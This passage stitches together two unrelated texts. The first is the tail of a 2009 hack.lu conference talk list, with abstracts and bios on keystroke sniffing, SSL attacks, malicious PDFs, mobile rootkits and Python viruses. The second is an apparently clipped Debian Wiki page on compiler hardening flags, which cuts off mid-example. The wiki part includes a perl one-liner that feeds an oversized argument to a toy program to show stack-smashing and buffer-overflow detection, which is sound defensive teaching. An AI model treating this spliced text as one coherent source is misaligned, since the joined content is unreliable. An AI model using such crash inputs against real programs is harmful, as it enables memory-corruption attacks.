hacking projects.

We will explore two unconventional approaches for remotely sniffing keystrokes
on laptops and desktop computers using mechanical energy emissions and
powerline leakage. The only thing you need for successful attacks are either
the electrical grid or a distant line of sight, no expensive piece of
equipment is required.

We will show in detail the two attacks and all the necessary instructions for
setting up the equipment. As usual cool gear and videos are going to be
featured in order to maximize the presentation.

##### Bio of Daniele Bianco and Andrea Barisani

Andrea Barisani is a security researcher and consultant. His professional
career began 8 years ago but all really started when a Commodore-64 first
arrived in his home when he was 10. Now, 17 years later, Andrea is having fun
with large-scale IDS/Firewalls deployment and administration, forensic
analysis, vulnerability assessment, penetration testing, security training and
his Open Source projects. He eventually found that system and security
administration are the only effective way to express his need for paranoia.

Being an active member of the international Open Source and security community
he's maintainer/author of the tenshi, ftester projects as well as the founder
and project coordinator of the oCERT effort, the Open Source Computer
Emergency Reponse Team.

He has been involved in the Gentoo project, being a member of the Gentoo
Security and Infrastructure Teams, and the Open Source Security Testing
Methodology Manual, becoming an ISECOM Core Team member. Outside the community
he has been a security consultant for Italian firms and he's now the co-
founder and Chief Security Engineer of Inverse Path Ltd.

He has been a speaker and trainer at PacSec, CanSecWest, BlackHat and DefCon
conferences among many others, speaking about SatNav hacking, 0-days, LDAP and
other pretty things.

Daniele Bianco is a system administrator and IT consultant. He began his
professional career as a system administrator during his early years at
university. His interest for centralized management and software integration
in Open Source environments has focused his work on design and development of
suitable R&D infrastructure.

For the time being Daniele is working as a consultant for Italian astrophysics
research institutes, involving support for the design, development and the
administration of IT infrastructure.

One of his hobbies has always been playing with hardware and recently he has
been pointing his attention on in-car wireless and navigation systems. He's
the resident Hardware Hacker for international consultancy Inverse Path Ltd.

Daniele holds a Bachelor's degree in physics from University of Trieste.

  

### Some Tricks For Defeating SSL In Practice

This talk will cover some past and present vulnerabilities in SSL/TLS
implementations as well as some problems with the way that SSL/TLS is deployed
on the web. It will also demonstrate some tools that can be used to exploit
these vulnerabilities, which ultimately prove deadly in practice.

##### Bio Moxie Marlinspike

Moxie Marlinspike is a fellow at the Institute For Disruptive Studies, a
radical think tank for hackers and co-conspirators who seek to operate outside
of both the professional sphere as well as academia.

  

### PDF-Penetration Document Format

For several years now, vulnerabilities in PDF readers \(mostly Adobe Acrobat\)
have been exploited to compromise PCs. The PDF language supports JavaScript,
but this is in itself no blatant security issue, because the latest versions
of the PDF language thoroughly sandbox JavaScript programs. Most Adobe Acrobat
vulnerabilities arise from bugs in the PDF rendering engine or the JavaScript
interpreter.

This presentation will mainly focus on 2 aspects of the malicious PDF problem.
1\) Analyzing malicious PDF documents. Disassembling malicious PDF documents
with standard PDF tools has an inherent risk: the tools could contain the same
vulnerabilities that the very PDF document we are analyzing exploits in Adobe
Acrobat, thus exposing the virus lab to an infection risk. That's why special
tools \(PDFiD and pdf-parser\) were developed to mitigate this risk. Live
demos will illustrate these tools. 2\) How to protect PCs against infection by
malicious PDF documents. Although opening a malicious PDF document with a
vulnerable PDF reader is the main avenue of infection, there are also avenues
that require less user interaction. The protection techniques presented have
the added bonus that they not only protect against malicious PDF documents,
but other type of malicious office documents too.

And finally, to revive an old security conference custom, a PDF vulnerability
will be disclosed which does not only affects PDF documents, but other types
of documents too...

##### Bio Didier Stevens

Didier Stevens is an IT Security professional specializing in application
security and malware. Inspired by Eric Filiol, Didier has researched the PDF
language and revealed obscure PDF-language and PDF-reader features that
malware authors use in their exploits. Didier works for Contraste Europe NV.
All his software tools are open source.

  

### Fuzzgrind: An automatic fuzzing tool

Fuzzing is a testing technique that provides invalid, unexpected, or random
data to the inputs of a program. Despite being extremely powerful, fuzzing has
many drawbacks, the most important one being the time required to develop
fuzzers. In the case of model description based fuzzing, writing the model is
a never ending process: protocol specifications must be analysed or reversed
if unavailable, etc. Moreover, different fuzzers must be developed for each
new target.

Fuzzgrind is a fully automatic fuzzing tool, generating test files with the
purpose of discovering new execution paths likely to trigger bugs, and
potentially vulnerabilities. Fuzzgrind is based on the concept of symbolic
execution. Thus, the tool starts from a file considered valid by the software
under test, and analyses the execution path to extract any constraints tied to
branch instructions followed by this software. By resolving constraints one by
one, Fuzzgrind will alter the valid file to explore possible new branches of
the software under test, in order to discover new vulnerabilities.

Fuzzgrind is based on two free software programs: Valgrind, a dynamic binary
instrumentation framework; and STP, a fast constraint solver. A plug-in has
been developed for Valgrind which tracks path conditions tied to the input
file while tested software is being executed. STP solves each encountered
constraint to generate new test files that will explore new execution paths on
future execution. This technique seems particularly effective, especially
since it is sufficient to provide a valid file and the target software, and
let Fuzzgrind begin to search bugs automatically. Some vulnerabilities have
been discovered or rediscovered in small Unix tools and libraries.

##### Bio Gabriel Campana

### Perseus: A Coding Theory-based Firefox Plug-in to Counter Botnet Activity

Most of the activity of botnets is based on listening and analysing hhtp
stream to retrieve and collect sensitive data \(email addresses,
login/password, credit card numbers ...\). This is possible because the http
protocol does not protect the contents of transmitted packets. The use of
encryption, besides the fact that it would lead to severe constraints \(time
encryption key management ...\), poses problems in legal terms, especially for
transnational flows with respect to the different national regulations. How
can protect against this flow listening by botnets while allowing the action
of States in the field of the surveillance of communications? The project we
are developing aims to provide an operational response to this problem. The
solution is materialized in the form of a Firefox plug-in, developed under the
triple GPL / LGPL / MPL and meeting the specifications of Mozilla development,
allowing for possible incorporation into the code of Firefox. Principle put
into practice this principle has been validated mathematically between 1997
and 2007 in two theses of the Ecole Polytechnique \(E thesis. Filiol in 2001;
thesis J. Barbier 2007\). The idea is to encode the data exchanged \(payload
packets\) with punctured convolutional codes \(used in telecommunications for
their very high encoding speed\). The flow is, after encoding and before
transmission, according to an artificially noisy noise parameter P, defined
before the transmission. Alice wants to communicate with Bob. As a first step,
the parameters of the encoder are generated randomly \(polynomial size
constraint, rate, matrix punching, setting noise ...\) and a short session
allows https to communicate to Bob \(this amounts to less than 256 bytes\).
The http stream is then encoded using this encoder and Bob decodes it via the
Viterbi algorithm. On the Botnet agent side, analysis of the http stream must
pass through a systematic preliminary phase of decoding, but since the encoder
is changed for each transmission, the botnet client must first rebuild the
unknown encoder which is computationnally infeasible without heavy resources
which moreover would betray the presence of the botnet client on the infected
host. The time required time for that reconstruction becomes prohibitive. In
addition, only a non-punctured equivalent encoder can be recovered
\(established theoretical results which have been experimentally validated\).
If reconstruction is infeasible in practice by a botnet client type, it is
still easily possible for a service of the State with a classical computing
power. The various implementations show that this layer encoding / decoding is
transparent to the user and does not degrade the performance.

##### Bio Eric Filiol, Eddy Deligne

Eric Filiol is the head of the Operational Cryptology and Virology at ESIEA a
French Engineer School in Computer Science, Electronics and Control Science.
He has spent 21 years in the French Army mainly as a ICT security expert
\(cryptanalysis, computer virology\). He holds a Engineer diploma in
Cryptology, a PhD in applied mathematics and computer science and a
Habilitation Thesis in Computer Science. His main reserach interest are
Symmetric Cryptosystems analysis \(especially from a combinatorial point of
view\), Computer virology \(theoretical and experimental study of new form of
malware and anti-malware technologies\), Computer warfare techniques. He is
also the Scientific Director of the European Institute in Computer Antivirus
Research \(EICAR\) in Germany and the Editor-in-chief of the Journal in
Computer Virology. He likes playing Bass Guitar \(Jazz\), running \(marathon
and half marathon\) and good wine/food.

Eddy Deligne is a PhD student at the Operational Cryptology and Virology at
ESIEA. He recently obtained his MSc in computer security. His PhD thesis deals
with the theoretical and practical aspects of active auditing and pentesting.

### Exploitng Delphi/Object Pascal

this presentation is about exploiting applications written in the delphi
language. the whole research behind it just started out as a fun little
project, since I wanted to know what was possible and what wasn't. I did some
googling around, but couldn't really find any decent answer anywhere, so I
ended up investigating myself. I'll present a comparison with the c\(and some
c++\) programming languages, show how it's vulnerable to overflows \(stack,
heap\) give examples, show some interesting language issues \(int rules,
corner cases in api usage, ...\) say a thing or two about code auditing of
delphi code, and cover some possible mitigations in the delphi compiler.

##### Bio Ilja van Sprundel

### When E.T. comes into Windows Mobile 6...

Mobile devices are omnipresent in our lives in various forms: GPS, mobile
phones, PDAs, etc. The Smartphone is the convergence of most of them. There
are many embedded operating systems on the mobile market. Windows Mobile,
developed by Microsoft, is quite a popular one \[1\]. Consequently, it appears
essential to analyse how Microsoft's mobile operating system works to
understand risks and threats, and anticipate methods that could be used to
attack a device and keep a door open for the attacker without the user knowing
it. Mechanisms for the Desktop version of Windows that may compromise the
system or install backdoors are publicly available and have been well known
for several years. The embedded O.S. seems very similar on the surface since
most APIs that exist in Windows Desktop versions are also present in
Microsoft's embedded system. This makes it easier to adapt software from the
Desktop world. However, the layers underneath are very different. This may be
the main reason why attackers have not yet moved to the embedded world. The
material architecture underneath is ARM, which is RISC-based \(Reduced
Instruction Set Computer\), as opposed to x86 used on PCs. The constraints of
the embedded world have made the memory management work very differently
internally than in the PC world. System calls are also implemented in a
different manner. In order to understand the risks, several points should be
analysed. The different services on a Smartphone need to be well understood
\(Phone, SMS, GPS, SD-card, etc\). The network environment must be considered
closely in order to list all the possible attack vectors \(phone, Bluetooth,
WLAN, ActiveSync, etc\). The system's internal mechanisms will be explained.
This will allow us to understand how the system may be compromised
\(keylogger, SMS interception, rootkits, ransomwares, etc\). The security
mechanisms implemented by Microsoft will be analysed with respect to the
risks. In addition, more and more antivirus companies propose solutions to
protect devices, so it is only logical to want to know what they really
protect against. We will give details on the stealth mechanisms, remote
control capabilities, ways to make the rootkit persistent, and services that a
malicious hacker could use on Windows Mobile devices. This talk will focus on
the services that an attacker could potentially control for malicious purposes
and the different rootkit methods that may be used to hide these actions from
the phone's user.

##### Bio Cedric Halbronn

### Deconstructing Dalvik Bytecode

This is a reverse engineering talk, so it first gives an overview of the
dalvik virtual machine architecture, and moves forward to the bytecode
dialect, which is used by the runtime environment. On this foundation we
present an approach to re-transfer Dalvik bytecode into JVM bytecode, which
allows easier program analysis by applying the broad range of Java tools.
After having presented, how the information lost in platform optimization can
be re-discovered, we finalize the talk with some issues we found in real-life
Dalvik \(running on your G1\!\) apps.

##### Bio Marc Schoenefeld

### IpMorph: Unification of OS fingerprinting defeating

There currently exists tons of IP stack fingerprinting tools, that allows one
to identify the remote OS of potential targets with relative ease. In this
talk, we will show that confusing or fooling remote OS FingerPrinting \(OSFP\)
tools is possible in a universal way. To demonstrate, we created IpMorph,
which is a userland TCP/IP stack in charge of monitoring sessions and
modifying packets on the fly to fool remote fingerprinting tools. We will
detail its behaviour and algorithms, against tools such as Nmap, Ring and
SinFP. It's capable of fooling the active as well as the passive mode of OSFP
tools. Our goal it to unify all the different signature formats inside a
single database of "personalities". The configuration of IpMorph is done \(its
attributes as well as its algorithms\) according to those personalities. We
will present the concepts and architecture behind IpMorph, and detail some of
the technical challenges encountered: the difficulty to reverse certain
signature information or to respect some temporal constraints, all the while
trying to guarantee transparency and discretion. We think this material is
innovative, as no-one has tried to determine what really defines an TCP/IP
stack, which is what we're trying to do by unifying all signatures into
personalities. Our work has already permitted to find a bug in Nmap, raised
issues with the relevance of some tests in SinFP, and allowed us to better
understand what makes a TCP/IP stack unique, and what constitutes efficient
OSFP techniques.

##### Bio Guillaume Prigent, Florian Vichot

Guillaume Prigent is a computer security research engineer, and has worked in
the field of security simulation for the last 10 years. He began as a research
engineer in 1999 at CERV, the European Centre for Virtual Reality in Brest,
where he developed the concepts of hybrid simulation for the DGA/Celar. He now
is the R&D CTO of his own company, Diateam, founded in 2002, where he works on
the open source Hynesim project. He also gives talks and classes in many
engineering schools of the Brest region \(ENIB, ENSIETA, ESM Saint-Cyr\).

Florian Vichot graduated from ENIB in 2008, and is now a Diateam employee and
the lead developper on the Hynesim project \(http://www.hynesim.org\).

### Peeking into Pandora's Bochs - instrumenting a full system emulator to
analyse malicious software

Today, malicious software \(malware\) poses a major threat to computer
systems. Oftentimes, malware is runtime-packed \(or -encrypted\) to evade
signature-based malware detectors and to make the actual malicious code
inaccessible to static analysis methods. It is also common for the runtime
unpacking \(or decryptor\) stubs to employ anti-debugging techniques to
prevent dynamic analysis and manual unpacking by human analysts. Pandora's
Bochs was originally developed as a tool to unpack runtime-packed binaries.
The open source PC emulator Bochs's instrumentation facilities were extended
with a Python interface and a set of Python routines was created to monitor an
unmodified Windows XP guest system. It can identify and instrument individual
processes, trace memory writes and branches, and dump process memory when a
modified memory region is executed. This method works well against common
runtime-packers. As Pandora's Bochs does not rely on debugging facilities
provided by the guest system, it is largely unaffected by common anti-
debugging techniques. Since its inception as an automated unpacker, Pandora's
Bochs was extended to also monitor calls to the Windows API and their
arguments. The presentation will focus on the technical aspects of Pandora's
Bochs. It will give a brief overview of typical runtime packer or executable
protector behaviour, about Bochs's instrumentation facilities and the Python
interface that was created. It will detail the techniques used to obtain
information about guest operating system and process states, how processes are
monitored and unpacked, and how API call tracing is implemented. Like Bochs,
Pandora's Bochs is open source software.

##### Bio Lutz Böhne

Lutz Böhne studied Computer Science at RWTH Aachen University where he
graduated in 2008. He is currently working as a penetration tester for RedTeam
Pentesting GmbH. RedTeam Pentesting is a company specialised in penetration
tests. Members of RedTeam Pentesting have spoken on various security
conferences on different topics, including hack.lu 2006, 2007 and 2008. More
information about RedTeam Pentesting can be found at http://www.redteam-
pentesting.de.

### Challenge of Windows physical memory acquisition and exploitation

In 2008, companies and governements interests for Microsoft Windows physical
memory growed significantly. Acquisition was one of this challenge. Author
will present a free and open-source tool he created called win32dd to acquire
in various format windows physical memory. Moreover, he will show how
interoperability between exiting format can help incident response engineers,
and investigators to improve their results in the extracting information
process through existing free tools like Microsoft Windows Debugger.

##### Bio Matt Suiche

Matthieu Suiche is a security researcher working at the Nederland Forensisch
Instituut. Matthieu is mainly know for is work on reverse code engineering and
volatile memory forensics. He had been speaker in various security conferences
such as PacSec, BH USA and law enforcement meeting like EUROPOL High Tech
Crime Meeting or ENFSI. His previous work include Windows Hibernation file
documentation. He is reachable through his website at http://www.msuiche.net

  

### HostileWRT: Fully-Automated Wireless Security Audit Platform on Embedded
Hardware

Computer and network security professionals are confronted on a daily basis
with the issues of testing the reality of perceived problems and suggesting
fixes with high applicability potential. Such issues are particularly
difficult in wireless environments since the measures are not of binary nature
but depend on the capacity to detect effectively WiFi networks, access points
and other radio equipments. There is always the chance of missing a radio
equipment or not having good and accurate measurements. We propose in this
paper to automate several critical parts of the wireless network security
audit using pervasive and inexpensive platforms and thus to free more time to
focus on the applicability of the fix, and even the verification of the
application of the Fix. HostileWRT aims at automating scanning and cracking in
wireless environment and improving results using different behaviours
depending on the goal of the auditor. By using an hostile approach, we want to
prove that it’s not possible to fully audit a wireless environment without
taking in account the several different kinds of vulnerabilities that affect
both the infrastructure and the end-users.

##### Bio Philippe Langlois, Eugene Parkinson

Philippe Langlois Founder of P1 Security and Senior Security Consultant for
Telecom Security Task Force. Philippe Langlois has proven expertise in network
security. He founded and led technical teams in several security companies
\(Qualys, WaveSecurity, INTRINsec\) as well as security research teams
\(Solsoft, TSTF\). He founded Qualys and led the world-leading vulnerability
assessment service. He founded a pioneering network security company Intrinsec
in 1995 in France, as well as Worldnet, France's first public Internet service
provider, in 1993. Philippe was also lead designer for Payline, one of the
first e-commerce payment gateways. He has written and translated security
books, including some of the earliest references in the field of computer
security, and has been giving speeches on network security since 1995 \(RSA,
COMDEX, Interop, HITB Dubai, Hack.lu\).

  

### Implementation of K-ary viruses in python

Since works of Fred Cohen and Leonard Adleman, describing viral payload
\(offensive routine\) as not being a virus' features, the world of the
computer virology has down evolved. To this end, viruses have evil properties
in the scientist population and not scientist, this is why viruses have make a
new aggressive and deceptive market, with a common word : money. Out of this
system, vxers have done beautiful programs, which once are formalizing, become
even more interesting in their study. In this paper, I wanted to come back to
basic computer virology, having a virus with a real ability to spread, and
generate a new virus which is different at each time, but with new mechanisms.
Using Linux to build a virus isn't harebrained, each system may be
contaminated, and Linux supply interesting qualities to make easier a
propagation. Furthermore, using a script language as python can expand the
possibilities of interaction with the various components of the system and its
vicinity. The k-ary codes are an idea of Eric Filiol, and are a new kind of
virus. Inside this paper we have implemented a real one, it will be explained
and detailed.

##### Bio Anthony Desnos

Anthony Desnos is currently a research engineer at ESIEA \(SI&S team\) in
Paris, France. His research focuses on computer virology/security, and more
particularly about new generations of stealth codes. He is involved in a
number of open source security projects, including Sanson Th Headman, Draugr
and ERESI.

### Psychotronica: Exposure, Control, and Deceit

This talk will expose how voluntary and public information from new
communication paradigms such as social networking applications can enable you
to remotely capture private information about targeted individuals. Topics of
discussion will include: Hacking the Psyche: Remote behavior analysis that can
be used to construct personality profiles to predict current and future
psychological states of targeted individuals, including discussions on how
emotional and subconscious states can be discovered even before the target is
consciously aware. Techniques on how individuals may be remotely influenced by
messaging tactics, and how criminal groups and governments may use this
capability, including a case study of Twitter and the recent terror attacks in
Bombay. Reconnaissance and pillage of private information, including critical
data that the victim may not be aware of revealing, and that which may be
impossible to protect by definition. The goal of this presentation is to raise
consciousness on how the new paradigms of social communication bring with it
real risks as well as marketing and economic advantages.

#### Bio Nitesh Dhanjani

Nitesh Dhanjani is a well known information security researcher and speaker.
Dhanjani is the author of "Hacking: The Next Generation" \(O'Reilly\),
"Network Security Tools: Writing, Hacking, and Modifying Security Tools"
\(O'Reilly\), and "HackNotes:Linux and Unix Security" \(Osborne McGraw-Hill\).
He is also a contributing author to "Hacking Exposed 4" \(Osborne McGraw-
Hill\) and "HackNotes:Network Security" \(Osborne McGraw-Hill\).

At Ernst & Young, Dhanjani is Senior Manager in the Advisory practice,
responsible for helping some of the largest corporations establish enterprise
wide information security programs and solutions. Dhanjani is also responsible
for evangelizing brand new technology service lines around emerging
technologies and trends such as social media, cloud computing, and
virtualization.

Prior to E&Y, Dhanjani was Senior Director of Application Security and
Assessments at Equifax where he spearheaded security efforts into enhancing
the enterprise SDLC, created a process for performing source code security
reviews & threat modeling, and managed the attack & penetration team. Before
Equifax, Dhanjani was Senior Advisor at Foundstone's Professional Services
group where, in addition to performing security assessments, he contributed to
and taught Foundstone's Ultimate Hacking security courses.

Dhanjani holds both a Bachelor's and Master's degree in Computer Science from
Purdue University. In summary, Dhanjani is probably the greatest human being
who has ever lived.

### Playing in a satellite environment1.2

This presentation is a warning call to those responsible for the companies
that use or provide data connection \(especially the Internet\) via satellite,
proving some of the attacks that are possible in this environment. The
presentation outline is: - Insecurity in Satellite communications. - Malicious
Active Attacks - Getting an anonymous connection - Conclusions The attendees
will learn how insecure satellite connections are and why they need a more
secure platform for this environment or how we must use secured protocols if
we have this tecnology hired. Also, they will learn how these attacks can be
made, including how to get an anonymous satellite connection.

#### Bio Christian Martorella

Christian Martorella has been working in the field of information security for
the last 10 years, starting his career in Argentina IRS as security
consultant, now he's leading a Security Services team at S21sec in Spain,
where he performs penetration tests, web application assessments, security
audits and forensic analysis for a wide range of industries including
Financial services, Telecommunications, utilities and government. He is
cofounder an active member of Edge-Security team, where security tools and
research is released. He has been speaker at What The Hack\!, NoConName, FIST
Conferences, OWASP Summit 2008 and OWASP Spain IV.

Christian has contributed with open source assessment tools like OWASP
WebSlayer and Metagoofil. He likes all related to Information Gathering and
Penetration testing. Currently holds the President position at the FIST
Conferences board, and in the past teached Ethical Hacking at the Security
Master of La Salle University. He is an Advisor of the Source Conference
Barcelona.

Retrieved from "http://2009.hack.lu/index.php/List"

This page was last modified on 17 September 2009, at 08:48. This page has been
accessed 1,343 times.

  * Privacy policy
  * About Hack.lu 2009
  * Disclaimers
  * Powered by MediaWiki
  * Design by Paul Gu

# Hardening - Debian Wiki

**Created:**| _12/6/2011 10:05:11 AM_  
---|---  
**Updated:**| _12/6/2011 10:05:11 AM_  
**Author:**| __  
**Tags:**| _Linux howto_  
  

  * Immutable Page
  * Info
  * Attachments
  * More Actions: 

#

  * Hardening

Contents

  1. Using Hardening Options
    1. dpkg-buildflags
    2. hardening-wrapper
    3. hardening-includes
  2. Validation
  3. Environment variables
    1. DEB\_BUILD\_HARDENING\_FORMAT \(gcc/g++ -Wformat -Wformat-security -Werror=format-security\)
    2. DEB\_BUILD\_HARDENING\_FORTIFY \(gcc/g++ -D\_FORTIFY\_SOURCE=2\)
    3. DEB\_BUILD\_HARDENING\_STACKPROTECTOR \(gcc/g++ -fstack-protector --param ssp-buffer-size=4\)
    4. DEB\_BUILD\_HARDENING\_PIE \(gcc/g++ -fPIE -pie\)
    5. DEB\_BUILD\_HARDENING\_RELRO \(ld -z relro\)
    6. DEB\_BUILD\_HARDENING\_BINDNOW \(ld -z now\)
  4. State of implementation
  5. Notes on Memory Corruption Mitigation Methods
    1. User Space
      1. Stack Protector
      2. heap protection
      3. libc pointer encryption
      4. gcc -D\_FORTIFY\_SOURCE=2 -O1
      5. gcc -Wformat -Wformat-security
      6. gcc -pie -fPIE
      7. ld -z relro
      8. ld -z now
    2. Kernel Space
      1. non-exec memory segmentation \(ExecShield\)
      2. -fstack-protector
      3. runtime memory allocation validation
      4. Address Space Layout Randomization
      5. /proc/$pid/maps protection
      6. /dev/mem protection
      7. link protections
      8. chroot, dmesg, fifo protections
    3. Documentation

# Using Hardening Options

Several compile-time options \(detailed below\) can be used to help harden a
resulting binary against memory corruption attacks, or provide additional
warning messages during compiles. This can be done either through "dpkg-
buildflags", or one of the packages provided by the "hardening-wrapper"
source: "hardening-wrapper" or "hardening-includes".

Using "dpkg-buildflags" is the recommended way to incorporate the build flags
in Debian.

"hardening-wrapper" is a set of scripts that divert the compiler, designed to
help provide these options without requiring packaging changes.

"hardening-includes" is a single Makefile snippet that can be included in
`debian/rules` from which the compile-time environment variables can be
augmented to include the hardening options.

Choosing the appropriate method is up to you.

## dpkg-buildflags

To use "dpkg-buildflags", either switch to dh\(1\) to do builds, or use it
directly in your builds to set the default compiler and linker flags:

[code]

    CPPFLAGS:=$(shell dpkg-buildflags --get CPPFLAGS)
    CFLAGS:=$(shell dpkg-buildflags --get CFLAGS)
    CXXFLAGS:=$(shell dpkg-buildflags --get CXXFLAGS)
    LDFLAGS:=$(shell dpkg-buildflags --get LDFLAGS)
    
    hello.o: hello.c
        $(CC) $(CPPFLAGS) $(CFLAGS) $(LDFLAGS) -o hello.o hello.c
[/code]

When building programs that handle untrusted data \(parsers, network
listeners, etc\), or run with elevated privileges \(PAM, X, etc\), please
enable "PIE" and "BINDNOW" in the build:

[code]

    export DEB_BUILD_MAINT_OPTIONS=hardening=+pie,+bindnow
[/code]

See the "HARDENING" section of the "dpkg-buildflags" manpage for more details.

## hardening-wrapper

To use "hardening-wrapper", add it to the Build-Depends of your package, and
enable it in the `debian/rules` file:

[code]

    export DEB_BUILD_HARDENING=1
[/code]

After that, any use of gcc, g++, or ld will have all hardening features
enabled by default. Each feature can be disabled individually \(via `export
DEB_BUILD_HARDENING_[feature]=0`, see below\), if there are complications with
the build resulting from the new features. \(So far, only rare issues with
stack protector and PIE support have been documented.\)

To illustrate the effects of the options, a trivial C source \(with Makefile\)
is used as an example.

## hardening-includes

To use "hardening-includes", add it to the Build-Depends of your package,
include its Makefile snippet in `debian/rules`, and adjust the compiler flags
to use it. For example, with a pure debhelper-7 style `debian/rules`:

[code]

    include /usr/share/hardening-includes/hardening.make
    
    CFLAGS=$(shell dpkg-buildflags --get CFLAGS)
    LDFLAGS=$(shell dpkg-buildflags --get LDFLAGS)
    CFLAGS+=$(HARDENING_CFLAGS)
    LDFLAGS+=$(HARDENING_LDFLAGS)
    
    %:
            dh $@
[/code]

If you're building C++, use `CXXFLAGS` instead of `CFLAGS` above, etc. If
building C and C++, use both.

Each hardening feature can be disabled individually \(via `export
DEB_BUILD_HARDENING_[feature]=0`, see below\), if there are complications with
the build resulting from the new features. \(So far, only rare issues with
stack protector and PIE support have been documented.\)

See the Makefile snippet for more documentation on disabling features on a
per-target basis, compiler option filtering, etc.

To illustrate the effects of the options, a trivial C source \(with Makefile\)
is used as an example.

# Validation

To verify that the resulting binary does, in fact, have hardening features
enabled, you can use "hardening-check" from the "hardening-includes" package
to test each ELF binary:

[code]

    $ hardening-check /usr/sbin/sshd 
    /usr/sbin/sshd:
     Position Independent Executable: yes
     Stack protected: yes
     Fortify Source functions: yes
     Read-only relocations: yes
     Immediate binding: yes
[/code]

If your binary does not make use of character arrays on the stack, it's
possible that "Stack protected" will report "no", since there was no stack it
found to protect. If you absolutely want to protect all stacks, you can add
"-fstack-protector-all", but this tends not to be needed, and there are some
trade-offs on speed.

If your binary does not make use of FORTIFY\_SOURCE-protected glibc routines,
it's possible that "Fortify Source functions" will report "no", since there
were no functions used that included the glibc fortification routines.

# Environment variables

Both "hardening-wrapper" and "hardening-includes" react to the following set
of environment variables and change the behavior of the compiler flags.

## DEB\_BUILD\_HARDENING\_FORMAT \(gcc/g++ -Wformat -Wformat-security
-Werror=format-security\)

Quoting the gcc man page:

  * If `-Wformat` is specified, also warn about uses of format functions that represent possible security problems. At present, this warns about calls to `printf` and `scanf` functions where the format string is not a string literal and there are no format arguments, as in `printf (foo);`. This may be a security hole if the format string came from untrusted input and contains `%n`. 

http://en.wikipedia.org/wiki/Format\_string\_attack

Default compile:

[code]

    $ make trivial
    cc -Wall -O2    trivial.c   -o trivial
[/code]

Hardened compile:

[code]

    $ DEB_BUILD_HARDENING=1 make trivial
    cc -Wall -O2    trivial.c   -o trivial
    trivial.c: In function 'main':
    trivial.c:16: warning: format not a string literal and no format arguments
[/code]

Known problems: \(Common build failures, non-availability on some archs\)

  * None so far. 

## DEB\_BUILD\_HARDENING\_FORTIFY \(gcc/g++ -D\_FORTIFY\_SOURCE=2\)

During code generation the compiler knows a great deal of information about
buffer sizes \(where possible\), and attempts to replace insecure unlimited
length buffer function calls with length-limited ones. This is especially
useful for old, crufty code. Additionally, format strings in writable memory
that contain '%n' are blocked. If an application depends on such a format
string, it will need to be worked around.

Note that for this feature to be fully enabled, the source must also be
compiled with -O1 or higher.

Default build:

[code]

    $ make trivial
    cc -Wall -O2    trivial.c   -o trivial
    $ ./trivial $(perl -e 'print "A"x100')
    Your first argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Segmentation fault (core dumped)
[/code]

Hardened build:

[code]

    $ DEB_BUILD_HARDENING=1 make trivial
    cc -Wall -O2    trivial.c   -o trivial
    trivial.c: In function 'main':
    trivial.c:16: warning: format not a string literal and no format arguments
    $ ./trivial $(perl -e 'print "A"x100')
    *** buffer overflow detected ***: ./trivial terminated
[/code]

Known problems: \(Common build failures, non-availability on some archs\)

  * Code compiled with -Werror and using memcpy/strcpy with qualifier overrides will fail with FORTIFY enabled. See https://launchpad.net/bugs/217481

## DEB\_BUILD\_HARDENING\_STACKPROTECTOR \(gcc/g++ -fstack-protector --param
ssp-buffer-size=4\)

This is a mainline GCC feature, which adds safety checks against stack
overwrites. This renders many potential code injection attacks into aborting
situations. In the best case this turns code injection vulnerabilities into
denial of service or into non-issues \(depending on the application\).
http://en.wikipedia.org/wiki/Stack-smashing\_protection

Default build:

[code]

    $ make trivial
    cc -Wall -O2    trivial.c   -o trivial
    $ ./trivial $(perl -e 'print "A"x100')
    Your first argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    Segmentation fault (core dumped)
[/code]

Hardened build \(with FORTIFY disabled, since it catches the stack overflow
before it happens\):

[code]

    $ DEB_BUILD_HARDENING=1 DEB_BUILD_HARDENING_FORTIFY=0 make trivial
    cc -Wall -O2    trivial.c   -o trivial
    trivial.c: In function 'main':
    trivial.c:16: warning: format not a string literal and no format arguments
    $ ./trivial $(perl -e 'print "A"x100')
    Your first argument was: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    *** stack smashing detected ***: ./trivial terminated
[/code]

Known problems: \(Common build failures, non-availability on some archs\)

  * Not supported on ia64 and alpha. \(disabled for these archs by default in hardening-wrapper 1.8\) 
`warning: -fstack-protector not supported for this target`

  * Not supported on mips and hppa. \(disabled for these archs by default in hardening-wrapper 1.10\) 
`warning: -fstack-protector not supported for this target`

## DEB\_BUILD\_HARDENING\_PIE \(gcc/g++ -fPIE -pie\)

Position Independent Executable are needed to take advantage of Address Space
Layout Randomization, supported by some kernel versions. While ASLR can
already be enforced for data areas in the stack and heap \(brk and mmap\), the
code areas must be compiled as position-independent. Shared libraries already
do this \(-fPIC\), so they gain ASLR automatically, but binary `.text` regions
need to be build PIE to gain ASLR. When this happens, ROP attacks are much
harder since there are no static locations to bounce off of during a memory
corruption attack.

Default build:

[code]

    $ make trivial
    cc -Wall -O2    trivial.c   -o trivial
    $ file trivial
    trivial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), for GNU/Linux 2.6.8, dynamically linked (uses shared libs), not stripped
[/code]

Hardened build:

[code]

    $ DEB_BUILD_HARDENING=1 make trivial
    cc -Wall -O2    trivial.c   -o trivial
    trivial.c: In function 'main':
    trivial.c:16: warning: format not a string literal and no format arguments
    $ file trivial
    trivial: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), for GNU/Linux 2.6.8, not stripped
[/code]

Known problems: \(Common build failures, non-availability on some archs\)

  * Doesn't work on hppa and m68k \(disabled for these archs by default in hardening-wrapper 1.6\) 
  * Doesn't work on some assembler, due to lack of registers. e.g.: 
`vf_decimate.c:26: error: can't find a register in class 'BREG' while
reloading 'asm'`

## DEB\_BUILD\_HARDENING\_RELRO \(ld -z relro\)

During program load, several ELF memory sections need to be written to by the
linker, but can be turned read-only before turning over control to the
program. Most notably this prevents GOT overwrite attacks.

Default build:

[code]

    $ make trivial
    cc -Wall -O2    trivial.c   -o trivial
    $ objdump -x trivial | grep RELRO
[/code]

Hardened build:

[code]

    $ DEB_BUILD_HARDENING=1 make trivial
